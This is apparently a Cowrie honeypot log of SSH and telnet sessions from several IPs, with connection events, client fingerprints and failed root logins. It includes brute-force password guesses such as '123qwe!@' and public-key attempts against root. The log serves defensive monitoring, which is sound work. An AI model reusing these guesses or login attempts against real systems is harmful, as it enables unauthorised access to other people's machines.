{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:30:84:42:d1:89:c5:ff:ef:7b:6a:0d:6b:fe:5a:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiOdPUgpGCHsq2KbKAaIh9ElaaeWIsYcKsLD3+6hJW/kKpQvqAvomu5Kio4COznvFoC7Mm6eie/UROD4WOG0qm1TjfdOteJ+fD7Ml9Qy+jEw8PK75GHr7T6yH+26EkYZ0VtcTUGKqsuBrfeQdFhpiJkywMK1AzrCbaBUGw+NiYT/HBgHxEZqcb2m0qYM8anstESFnfM0cFfXvMf72fhoBC5H5Ytj0Fd5aJ4syYnp+GW68bi8zoa1jhCUSWbpqKM6kmBCDnkA2/y6WBap2R7QGm1r/ST+ElP1thhjL7kNefctIWWi14DBW+jQFc0WviEgUx6jrCbxVxQSHOJTWryn+P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:30:84:42:d1:89:c5:ff:ef:7b:6a:0d:6b:fe:5a:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.714322Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:30:84:42:d1:89:c5:ff:ef:7b:6a:0d:6b:fe:5a:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiOdPUgpGCHsq2KbKAaIh9ElaaeWIsYcKsLD3+6hJW/kKpQvqAvomu5Kio4COznvFoC7Mm6eie/UROD4WOG0qm1TjfdOteJ+fD7Ml9Qy+jEw8PK75GHr7T6yH+26EkYZ0VtcTUGKqsuBrfeQdFhpiJkywMK1AzrCbaBUGw+NiYT/HBgHxEZqcb2m0qYM8anstESFnfM0cFfXvMf72fhoBC5H5Ytj0Fd5aJ4syYnp+GW68bi8zoa1jhCUSWbpqKM6kmBCDnkA2/y6WBap2R7QGm1r/ST+ElP1thhjL7kNefctIWWi14DBW+jQFc0WviEgUx6jrCbxVxQSHOJTWryn+P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.717723Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:52:17:c1:21:88:1f:23:8b:e4:ce:e1:92:ec:47:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5uJvmJrbfMRVNmg6qJr26rUygMqimIA5BwNZ0zKcIBwK14QopdtwL6ecEtJX1wGhmsWiM+M4+FXgMdPSV2pXI29kuFNC+XsKze+Wlsytjvx/9oW2w5P4zUiPHciNRV1NRutxDMSNqs7dwAn3HfZLdzqaygeGO0ET2sEB3tQLoNp7VOwMpaWmKrrFH7ksKovUeFi5mI8MO4mXkl7wPfDYyeLI2E7XD1ZcEBnYcJh4cWgjQGsIHHNsesrZmxKlFBpZXtMzX7MSU8wm81W3wotebHcfiPnxw3DUyS9qZ3K93Q4zC7dkvE7lxAgKTUNBVPAxoizXO4dvgqZYtvp9NNV/DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:52:17:c1:21:88:1f:23:8b:e4:ce:e1:92:ec:47:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.791162Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:52:17:c1:21:88:1f:23:8b:e4:ce:e1:92:ec:47:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5uJvmJrbfMRVNmg6qJr26rUygMqimIA5BwNZ0zKcIBwK14QopdtwL6ecEtJX1wGhmsWiM+M4+FXgMdPSV2pXI29kuFNC+XsKze+Wlsytjvx/9oW2w5P4zUiPHciNRV1NRutxDMSNqs7dwAn3HfZLdzqaygeGO0ET2sEB3tQLoNp7VOwMpaWmKrrFH7ksKovUeFi5mI8MO4mXkl7wPfDYyeLI2E7XD1ZcEBnYcJh4cWgjQGsIHHNsesrZmxKlFBpZXtMzX7MSU8wm81W3wotebHcfiPnxw3DUyS9qZ3K93Q4zC7dkvE7lxAgKTUNBVPAxoizXO4dvgqZYtvp9NNV/DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.794941Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:a8:11:b8:38:30:16:11:6c:c1:cb:b4:c3:64:bc:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeuesjL8wgaE4jsdJ/+Qi1WmAvQn6K95SxINBYV5LT8oR4MtLQ1g+4aqg0WX0cJlMaDsIiiObG5xy/aFijDiX8tOd36n9rXWAAGcZcusEGEiRWDu0DxrqEhVQStSCX9crpV3mD8j+D9XZbI5a4qpQzcW/lNykDekajCoZFMkWFh4MSjycCMIBxlVsM22H4gRum6YkMLGvs5h824zIFvjdb5Reu26qdUXz4OaXFvsK99Um/3g2gtDle1+0scziH1pIiUk0kANcfk/XDTbNIOI8sjD9j9x3Fafj1yap/MLyRGPkUlQQSYNX+r3BbvG4uhcx2uLBkfCtJD82+3tnEEYmJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:a8:11:b8:38:30:16:11:6c:c1:cb:b4:c3:64:bc:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.867808Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:a8:11:b8:38:30:16:11:6c:c1:cb:b4:c3:64:bc:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeuesjL8wgaE4jsdJ/+Qi1WmAvQn6K95SxINBYV5LT8oR4MtLQ1g+4aqg0WX0cJlMaDsIiiObG5xy/aFijDiX8tOd36n9rXWAAGcZcusEGEiRWDu0DxrqEhVQStSCX9crpV3mD8j+D9XZbI5a4qpQzcW/lNykDekajCoZFMkWFh4MSjycCMIBxlVsM22H4gRum6YkMLGvs5h824zIFvjdb5Reu26qdUXz4OaXFvsK99Um/3g2gtDle1+0scziH1pIiUk0kANcfk/XDTbNIOI8sjD9j9x3Fafj1yap/MLyRGPkUlQQSYNX+r3BbvG4uhcx2uLBkfCtJD82+3tnEEYmJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.871446Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:4f:f7:18:44:f4:7e:19:9c:e8:cd:15:2b:76:b1:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLxPvWLldh3fwqP5tzEJ24vQ6hsbrwdTXEskD9nZPkP45PQgGrFGKdE13i+6aEJ8kOgMMio2Z5tmA8N1Znh696+L671oY0EigXqprxPHguLjzB/dJ5dpPFIJ8uPerhUxp2ylRiqZSFMVhXUfqDvCaYsMPBTFvFjJkU0yjMSdD1aafmRoBzjNaJ/DRIxbpCdPID5Jzb/dCwE2nHxH2lKbP9WKRdIqPkaCZdozbXWlAA3FYzEUUlTWywdbqMwr50jTu/C2wF+rv58s5AvRvQHIRJig5NjJ49q/TpF7mQ+wbwn9uRrYTxb5GRQ4ioh2IO9PTWeRp2okhp462JYk61++mL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:4f:f7:18:44:f4:7e:19:9c:e8:cd:15:2b:76:b1:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.943838Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:4f:f7:18:44:f4:7e:19:9c:e8:cd:15:2b:76:b1:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLxPvWLldh3fwqP5tzEJ24vQ6hsbrwdTXEskD9nZPkP45PQgGrFGKdE13i+6aEJ8kOgMMio2Z5tmA8N1Znh696+L671oY0EigXqprxPHguLjzB/dJ5dpPFIJ8uPerhUxp2ylRiqZSFMVhXUfqDvCaYsMPBTFvFjJkU0yjMSdD1aafmRoBzjNaJ/DRIxbpCdPID5Jzb/dCwE2nHxH2lKbP9WKRdIqPkaCZdozbXWlAA3FYzEUUlTWywdbqMwr50jTu/C2wF+rv58s5AvRvQHIRJig5NjJ49q/TpF7mQ+wbwn9uRrYTxb5GRQ4ioh2IO9PTWeRp2okhp462JYk61++mL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:29.947552Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:38:25:fe:3b:a3:9f:68:8d:cc:c9:6b:b3:44:95:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKIWi+FzHMpFyldCT7rstaKqZnCHKFXww5DJ+NuWhC9pGIiDnf3tvW+uJXtlb1gVC9/w80qa/TRSGNaEDIUu9o8WO9o+MeTKeR/HfaErSOCBo+BCOq3BphTkLM8UesQAdaDFB79t/NGk6alL67Vnb556C9Nv195ubXNHp7LMTfS6IGy5t1F++mvoX39DdoVKShXSB8TlQu4Ktc9ZO3qWKEbjeLdHlskPo92ugUjtb7GkUmnfdrlwYAKTHea/7+G7R9NU2JVJ98rOzJv+/kiqxufxvEtfLEXZsFBk64lXVxMtRrOjRl6M8pqPp/w2dnWKKr10PBABrOFtBfiV4rcN0f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:38:25:fe:3b:a3:9f:68:8d:cc:c9:6b:b3:44:95:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:30.022521Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:38:25:fe:3b:a3:9f:68:8d:cc:c9:6b:b3:44:95:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKIWi+FzHMpFyldCT7rstaKqZnCHKFXww5DJ+NuWhC9pGIiDnf3tvW+uJXtlb1gVC9/w80qa/TRSGNaEDIUu9o8WO9o+MeTKeR/HfaErSOCBo+BCOq3BphTkLM8UesQAdaDFB79t/NGk6alL67Vnb556C9Nv195ubXNHp7LMTfS6IGy5t1F++mvoX39DdoVKShXSB8TlQu4Ktc9ZO3qWKEbjeLdHlskPo92ugUjtb7GkUmnfdrlwYAKTHea/7+G7R9NU2JVJ98rOzJv+/kiqxufxvEtfLEXZsFBk64lXVxMtRrOjRl6M8pqPp/w2dnWKKr10PBABrOFtBfiV4rcN0f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:30.030984Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:30.109557Z","src_ip":"192.210.194.2","session":"e4f2d328af39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172877311707,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:30.803691Z","src_ip":"152.42.224.71","session":"ef4f0280d980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1958f18913","protocol":"telnet","message":"New connection: 152.42.224.71:33618 (10.17.0.5:23) [session: 7d1958f18913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:31.052633Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":37414,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd6cb2709ee8","protocol":"ssh","message":"New connection: 47.237.167.49:37414 (159.203.135.109:22) [session: dd6cb2709ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:37.463816Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54862,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d63da25d147","protocol":"telnet","message":"New connection: 152.42.224.71:54862 (10.17.0.5:23) [session: 6d63da25d147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:40.122739Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9652a2c1fe8","protocol":"telnet","message":"New connection: 152.42.224.71:54876 (10.17.0.5:23) [session: d9652a2c1fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:42.136668Z"}
{"eventid":"cowrie.session.closed","duration":33.36640000343323,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:48.387028Z","src_ip":"152.42.224.71","session":"be42866078ef","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:50.418400Z","src_ip":"47.237.167.49","session":"dd6cb2709ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:50.647720Z","src_ip":"47.237.167.49","session":"dd6cb2709ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"837a0ee797ca","protocol":"telnet","message":"New connection: 152.42.224.71:38520 (10.17.0.5:23) [session: 837a0ee797ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:55.252039Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42018,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4872cd8366c","protocol":"ssh","message":"New connection: 103.173.227.57:42018 (159.203.135.109:22) [session: d4872cd8366c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:56.578533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:56.582948Z","src_ip":"103.173.227.57","session":"d4872cd8366c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:56.816741Z","src_ip":"103.173.227.57","session":"d4872cd8366c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nata","message":"login attempt [root/nata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:57.515247Z","src_ip":"103.173.227.57","session":"d4872cd8366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:27:58.749624Z","src_ip":"103.173.227.57","session":"d4872cd8366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49152135848999,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:01.392282Z","src_ip":"152.42.224.71","session":"992f5dbf4d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46058,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b21a093531e","protocol":"telnet","message":"New connection: 152.42.224.71:46058 (10.17.0.5:23) [session: 9b21a093531e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:01.484004Z"}
{"eventid":"cowrie.session.closed","duration":7.882672071456909,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:03.134593Z","src_ip":"152.42.224.71","session":"837a0ee797ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143194198608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:03.266930Z","src_ip":"152.42.224.71","session":"8d058f161bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.1944568157196,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:03.981840Z","src_ip":"152.42.224.71","session":"c55ef869248c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00503849983215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:04.758572Z","src_ip":"152.42.224.71","session":"764a179c6450","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:10.536104Z","src_ip":"47.237.167.49","session":"dd6cb2709ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.0","message":"Connection lost after 35.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:12.520405Z","src_ip":"47.237.167.49","session":"dd6cb2709ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46420,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a54a60d117","protocol":"telnet","message":"New connection: 152.42.224.71:46420 (10.17.0.5:23) [session: 32a54a60d117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:14.481929Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49886,"dst_ip":"159.203.135.109","dst_port":22,"session":"903cc237dcae","protocol":"ssh","message":"New connection: 147.45.197.250:49886 (159.203.135.109:22) [session: 903cc237dcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:15.543838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:15.549088Z","src_ip":"147.45.197.250","session":"903cc237dcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:15.640550Z","src_ip":"147.45.197.250","session":"903cc237dcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345asdfg","message":"login attempt [root/12345asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:15.910476Z","src_ip":"147.45.197.250","session":"903cc237dcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:17.003727Z","src_ip":"147.45.197.250","session":"903cc237dcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37200,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bfaa584cd47","protocol":"telnet","message":"New connection: 152.42.224.71:37200 (10.17.0.5:23) [session: 5bfaa584cd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:18.490537Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37208,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e667f940021","protocol":"telnet","message":"New connection: 152.42.224.71:37208 (10.17.0.5:23) [session: 9e667f940021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:18.553234Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37214,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f31d38803b8","protocol":"telnet","message":"New connection: 152.42.224.71:37214 (10.17.0.5:23) [session: 6f31d38803b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:21.702926Z"}
{"eventid":"cowrie.session.closed","duration":47.26226568222046,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:29.398806Z","src_ip":"152.42.224.71","session":"d9652a2c1fe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7b9c37589c","protocol":"telnet","message":"New connection: 152.42.224.71:54418 (10.17.0.5:23) [session: 4f7b9c37589c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:32.864683Z"}
{"eventid":"cowrie.session.closed","duration":33.692689418792725,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:28:35.176582Z","src_ip":"152.42.224.71","session":"9b21a093531e","protocol":"telnet"}
